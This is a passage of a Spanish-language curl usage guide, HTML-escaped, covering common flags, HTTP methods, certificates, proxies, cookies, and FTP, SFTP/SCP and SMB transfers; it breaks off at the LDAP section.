&lt;li>-H, &amp;ndash;header &lt;header> Headers to supply with request.&lt;/li>
&lt;li>-i, &amp;ndash;include Include HTTP headers in the output.&lt;/li>
&lt;li>-I, &amp;ndash;head Fetch headers only.&lt;/li>
&lt;li>-k, &amp;ndash;insecure Allow insecure connections to succeed.&lt;/li>
&lt;li>-L, &amp;ndash;location Follow redirects.&lt;/li>
&lt;li>-o, &amp;ndash;output &lt;file> Write output to . Can use &amp;ndash;create-dirs in conjunction with this to create any directories specified in the -o path.&lt;/li>
&lt;li>-O, &amp;ndash;remote-name Write output to file named like the remote file (only writes to current directory).&lt;/li>
&lt;li>-s, &amp;ndash;silent Silent (quiet) mode. Use with -S to force it to show errors.&lt;/li>
&lt;li>-v, &amp;ndash;verbose Provide more information (useful for debugging).&lt;/li>
&lt;li>-w, &amp;ndash;write-out &lt;format> Make curl display information on stdout after a completed transfer. See man page for more details on available variables. Convenient way to force curl to append a newline to output: -w &amp;ldquo;\n&amp;rdquo; (can add to ~/.curlrc).&lt;/li>
&lt;li>-X, &amp;ndash;request The request method to use.&lt;/li>
&lt;/ul>
&lt;p>Se puede realizar la peticion por una IP o un interfaz especifico con el flag &lt;em>&amp;ndash;interface&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl --interface eth0:1 http://host.com/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl --interface 192.168.1.10 http://host.com/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="header1">HTTP con curl&lt;/h1>
&lt;p>Es posible reanudar una descarga interrumpida con el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -C - -O http://host.com/file.tar
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Podemos limitar la velocidad de descarga con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl --limit-rate 200k -O http://host.com/file.tar
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark0">Gestión certificados&lt;/h2>
&lt;p>Podemos verificar un certificado SSL con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ curl --cacert cacert.crt http://host.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Podemos ignorar certificado SSL con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -k http://host.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark1">User Agent&lt;/h2>
&lt;p>Podemos indicar un User-Agent especifico con el flag &lt;em>-A&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -A &lt;span class="s1">&amp;#39;Mozilla/3.0 (Win95; I)&amp;#39;&lt;/span> http://host.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Aquí hay una lista de User-Agent validos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark2">Customize headers&lt;/h2>
&lt;p>Podemos modificar las cabeceras con el flag &lt;em>-H&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -H &lt;span class="s2">&amp;#34;Host: test.example&amp;#34;&lt;/span> http://host.com/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl -H &lt;span class="s2">&amp;#34;User-Agent:&amp;#34;&lt;/span> http://host.com/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark3">Referer&lt;/h2>
&lt;p>Podemos indicar que estamos realizando una referencia de otra url con el flag &lt;em>&amp;ndash;referer&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl --referer http://comes-from.example.com https://host.com/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark4">Proxy con autenticación&lt;/h2>
&lt;p>Podemos indicar un proxy y las credenciales si son necesarias para el proxy con el flag &lt;em>-u&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl PROXY:8000 -u username:password -O http://host.com/file.tar
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si el proxy requiere una autenticación especifica, habría que usar el flag &lt;em>-U&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl PROXY:8000 -U username:password -O http://host.com/file.tar
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark5">Cookies&lt;/h2>
&lt;p>Podemos navegar usando unas cookies previamente descargadas:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl --cookie-jar cookie.txt https://www.host.com/index.html
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark6">GET&lt;/h2>
&lt;p>Para usar el método GET basta con usar el comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl http://localhost:5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark7">POST&lt;/h2>
&lt;p>Para usar el método POST hay que usar &lt;em>-X POST&lt;/em>. Es necesario indicar el campo data y opcionalmente se puede enviar el Content-Type.&lt;/p>
&lt;p>Formas de enviar datos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">form urlencoded: -d &amp;#34;param1=value1&amp;amp;param2=value2&amp;#34; or -d @data.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">json: -d &amp;#39;{&amp;#34;key1&amp;#34;:&amp;#34;value1&amp;#34;, &amp;#34;key2&amp;#34;:&amp;#34;value2&amp;#34;}&amp;#39; or -d @data.json
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>El formato para enviar un POST con un JSON con los flags en formato largo sería:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl --header &lt;span class="s2">&amp;#34;Content-Type: application/json&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --request POST &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --data &lt;span class="s1">&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;abc&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;xyz&amp;#34;}&amp;#39;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> http://localhost:5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>El mismo comando pero en formato corto sería:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -H &lt;span class="s2">&amp;#34;Content-Type: application/json&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -X POST &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -d &lt;span class="s1">&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;abc&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;xyz&amp;#34;}&amp;#39;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> http://localhost:5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para enviar un fichero en vez de un string se usa el data &lt;em>@fichero&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -H &lt;span class="s2">&amp;#34;Content-Type: application/json&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -X POST &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -d &lt;span class="s1">&amp;#39;@example.json&amp;#39;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> http://localhost:5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para enviar un POST con Content-Type www-form podemos ponerlo en el flag &lt;em>-H&lt;/em> o eliminarlo, ya que es el Content-Type por defecto en curl.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -H &lt;span class="s2">&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -X POST &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -d &lt;span class="s1">&amp;#39;username=abc&amp;amp;password=xyz&amp;#39;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> http://localhost:5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark8">PUT&lt;/h2>
&lt;p>El proceso es el mismo que con POST.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -H &lt;span class="s2">&amp;#34;Content-Type: application/json&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -X PUT &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -d &lt;span class="s1">&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;abc&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;xyz&amp;#34;}&amp;#39;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> http://localhost:5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -H &lt;span class="s2">&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -X PUT &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -d &lt;span class="s1">&amp;#39;username=abc&amp;amp;password=xyz&amp;#39;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> http://localhost:5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark9">DELETE&lt;/h2>
&lt;p>Podemos borrar un fichero con el comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -X &lt;span class="s2">&amp;#34;DELETE&amp;#34;&lt;/span> http://localhost:5000/file
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark10">PATCH&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -X PATCH http://localhost:5000/file?status&lt;span class="o">=&lt;/span>closed
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark11">MOVE&lt;/h2>
&lt;p>Podemos mover un fichero con el comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -X MOVE --header &lt;span class="s1">&amp;#39;Destination:http://host.org/new.txt&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;https://host.com/old.txt&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark12">OPTIONS&lt;/h2>
&lt;p>Podemos ver los métodos que están permitidos en un servidor HTTP con el comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -X OPTIONS http://localhost:5000 -i
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark13">MKCOL&lt;/h2>
&lt;p>Podemos crear un directorio con el comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -X MKCOL &lt;span class="s1">&amp;#39;https://example.com/new_folder&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="header2">FTP/FTPS/SFTP/SCP con curl&lt;/h1>
&lt;h2 id="mark14">Descarga&lt;/h2>
&lt;p>Podemos descargar ficheros de un servidores FTP con los comandos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -u username:password -O ftp://server_ftp/test.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl ftps://files.are.secure.com/secrets.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl --ftp-ssl ftp://files.are.secure.com/secrets.txt &lt;span class="c1"># equivalente&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También podemos descargar ficheros de servidores SSH usando SFTP o SCP con los siguientes comandos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -u username sftp://example.com/etc/issue
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Clave prinvada sin contraseña&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl -u username: --key ~/.ssh/id_rsa scp://example.com/~/file.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Clave privada con contraseña&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl -u username: --key ~/.ssh/id_rsa --pass private_key_password scp://example.com/~/file.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark15">Subida&lt;/h2>
&lt;p>También es posible subir ficheros al servidor FTP con el flag &lt;em>-T&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -u username:password -T test.tar.gz ftp://server_ftp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="header3">SMB con curl&lt;/h1>
&lt;p>Podemos descargar ficheros de un servidor SMB con el comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -u &lt;span class="s2">&amp;#34;domain\username:password&amp;#34;&lt;/span> smb://server.example.com/share/file.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También es posible subir ficheros al servidor SMB con el flag &lt;em>-T&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -T file.txt -u &lt;span class="s2">&amp;#34;domain\username:passwd&amp;#34;&lt;/span> smb://server.example.com/share/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="header4">LDAP/LDAPS con curl&lt;/h1>
&lt;p>Si se tiene instalada la librería OpenLDAP, es posible usar curl para real;izar peticiones utilizando el protocolo &lt;em>ldap://&lt;/em>. Por defecto se usará LDAPv3 y en caso de que este falle se usará LDAPv2.&lt;/p>
&lt;p>La sintaxis de una consulta con LDAP es algo compleja, para obtener ayuda seria relevante usar el &lt;a class="link" href="https://tools.ietf.org/html/rfc2255" target="_blank" rel="noopener"
